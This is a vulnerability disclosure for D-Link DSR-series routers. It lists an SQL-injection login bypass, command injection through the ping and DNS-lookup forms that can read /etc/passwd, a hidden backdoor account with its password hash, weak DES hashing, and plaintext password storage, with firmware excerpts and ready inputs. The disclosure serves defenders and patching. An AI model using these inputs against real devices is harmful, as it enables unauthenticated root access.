# Purpose:
# Get a non-persistent root shell on your D-Link DSR.
#
# Prerequisites:
# Network access to the router ports 443 and 23.
# !!! NO AUTHENTICATION CREDENTIALS REQUIRED !!!
#
#
# A list of identified vulns follows. This list is not exhaustive as I assume
# more vulns are present that just slipped my attention.
# The fact that D-Link implemented a backdoor user (for what reason, please??)
# and just renamed it instead of completely removing it after it was targetted
# by my previous exploit, as well as the triviality of those vulns I found
# makes me suggest that more vulns are present that are comparably easy to
# exploit.
#
# Since 2013-12-03, patches are available for:
# DSR-150: Firmware v1.08B44
# DSR-150N: Firmware v1.05B64
# DSR-250 and DSR-250N: Firmware v1.08B44
# DSR-500 and DSR-500N: Firmware v1.08B77
# DSR-1000 and DSR-1000N: Firmware v1.08B77
# via http://tsd.dlink.com.tw

1. Vulnerability: Authentication Bypass by SQL-Injection
(CVE-2013-5945)
* Possible via the global webUI login form.
* File /pfrm2.0/share/lua/5.1/teamf1lualib/login.lua contains:
function login.authenticate(tablename, tableInput)
local username = tableInput["Users.UserName"]
local password = tableInput["Users.Password"]
local cur = db.execute(string.format([[
SELECT *, ROWID AS _ROWID_ FROM %s
WHERE %s = '%s' AND %s = '%s'
]], tablename, "UserName", username, "Password", password))
local result = false
local statusCode = "NONE"
if cur then
local row = cur:fetch({}, "a")
cur:close()
result = row ~= nil
if result == false then
statusCode = "USER_LOGIN_INVALID_PASSWORD"
end
end
return result, statusCode
end
* This function creates an SQL statement of the form:
SELECT * FROM "Users" WHERE "UserName" = 'user' AND "Password" = 'pass';
* Since there is a default admin user account called "admin" around, this is
easily exploitable by providing this to the login form:
username = admin
password = ' or 'a'='a
* ...resulting in this SQL statement:
SELECT *
FROM "Users"
WHERE "UserName" = 'admin'
AND "Password" = '' or 'a'='a';
* Old school SQL injection. Ohh, by the way...
* The same fault can be found in captivePortal.lua

2. Vulnerability: Privilege Escalation by Arbitrary Command Execution
(CVE-2013-5946)
* Possible from the Tools --> System Check page.
* File /pfrm2.0/var/www/systemCheck.htm contains:
local function runShellCmd(command)
local pipe = io.popen(command .. " 2>&1") -- redirect stderr to stdout
local cmdOutput = pipe:read("*a")
pipe:close()
return cmdOutput
end
if (ButtonType and ButtonType == "ping") then
[...]
local cmd_ping = pingprog .. " " .. ipToPing .. " " .. options1 .. " > " .. pingfile
globalCmdOutput = runShellCmd (cmd_ping)
statusMessage = "Pinging " .. ipToPing
[...]
elseif (ButtonType and ButtonType == "traceroute") then
[...]
local cmd = traceRouteProg .. " " .. ipToTraceRoute .. options
globalCmdOutput = runShellCmd(cmd)
statusMessage = "Traceroute To " .. ipToTraceRoute .. "..."
[...]
elseif (ButtonType and ButtonType == "dnslookup") then
[...]
util.appendDebugOut("Exec = " .. os.execute(nsLookupProg .. " " .. internetNameToNsLookup .. " > " .. nsLookupFile))
statusMessage = "DNS Lookup for " .. internetNameToNsLookup
[...]
* Command injection is possible in at least these form sections:
Ping or Trace an IP Address
Perform a DNS Lookup
* When using a browser, deactivate the "onclick" JavaScript checks using
a tool like Firebug. Tools like curl are not hindered by these checks.
* All forms allow input like this:
localhost;<command>
example:
localhost;cat /etc/passwd
* This user provided value is then directly used as part of the input for the
call to runShellCmd(c) and thus io.popen(c) in the first form section and
os.execute(c) in the second form section.
* Output from user provided commands gets displayed on the next page beneath
the benign command output.
example:
[...]

[...]
3. Exposure: D-Link backdoor user:
* This was the contents of my /etc/passwd after I upgraded to 1.08B39_WW:
root:!:0:0:root:/root:/bin/sh
gkJ9232xXyruTRmY:$1$MqlhcYXP$CC3cvqpCg0RJAzV85LSeO0:0:0:root:/:/bin/sh
nobody:x:0:0:nobody:/nonexistent:/bin/false
ZX4q9Q9JUpwTZuo7:x:0:2:Linux User,,,:/home/ZX4q9Q9JUpwTZuo7:/bin/sh
guest:x:0:1001:Linux User,,,:/home/guest:/bin/sh
admin:x:0:2:Linux User,,,:/home/admin:/bin/sh
* You can see the old D-Link backdoor user name "ZX4q9Q9JUpwTZuo7".
That was the account I hacked before with my previous exploit:
http://www.exploit-db.com/papers/22930/
And there is a new backdoor user "gkJ9232xXyruTRmY" introduced.
Instead of removing the backdoor, D-Link just created a new one.
* I verified this by showing the /etc/profile:
# /etc/profile
LD_LIBRARY_PATH=.:/pfrm2.0/lib:/lib
PATH=.:/pfrm2.0/bin:$PATH
CLISH_PATH=/etc/clish
export PATH LD_LIBRARY_PATH CLISH_PATH
# redirect all users except root to CLI
if [ "$USER" != "gkJ9232xXyruTRmY" ] ; then
trap "/bin/login" SIGINT
trap "" SIGTSTP
/pfrm2.0/bin/cli
exit
fi

4. Vulnerability: Use of weak hash algorithms:
* In the /etc/shadow, salted DES hashes are used to store user passwords.
Since this hash type supports at most 8 characters, users can log in by just
typing the first 8 letters of their passwords when using SSH or telnet.
* An effective password length limitation of 8 characters makes brute force
attacks on user accounts very feasible, even if the user chose a longer
password.
5. Exposure: Passwords are stored as plain text in config files:
* A lookup into the system config file /tmp/teamf1.cfg.ascii, from which the
/tmp/system.db is built on boot time, reveals that all user passwords are
stored in plain text.
Example:
[...]
Users = {}
Users[1] = {}
Users[1]["Capabilities"] = ""
Users[1]["DefaultUser"] = "1"
Users[1]["UserId"] = "1"
Users[1]["FirstName"] = "backdoor"
Users[1]["OID"] = "0"
Users[1]["GroupId"] = "1"
Users[1]["UserName"] = "gkJ9232xXyruTRmY"
Users[1]["Password"] = "thisobviouslyisafakepass"
Users[1]["UserTimeOut"] = "10"
Users[1]["_ROWID_"] = "1"
Users[1]["LastName"] = "ssl"
[...]
6. Vulnerability: Bad permissions on /etc/shadow
* This file should have 600 permissions set and not 644. It is world readable.
Pointless, since every process runs as root, no user separation is
done anyway.
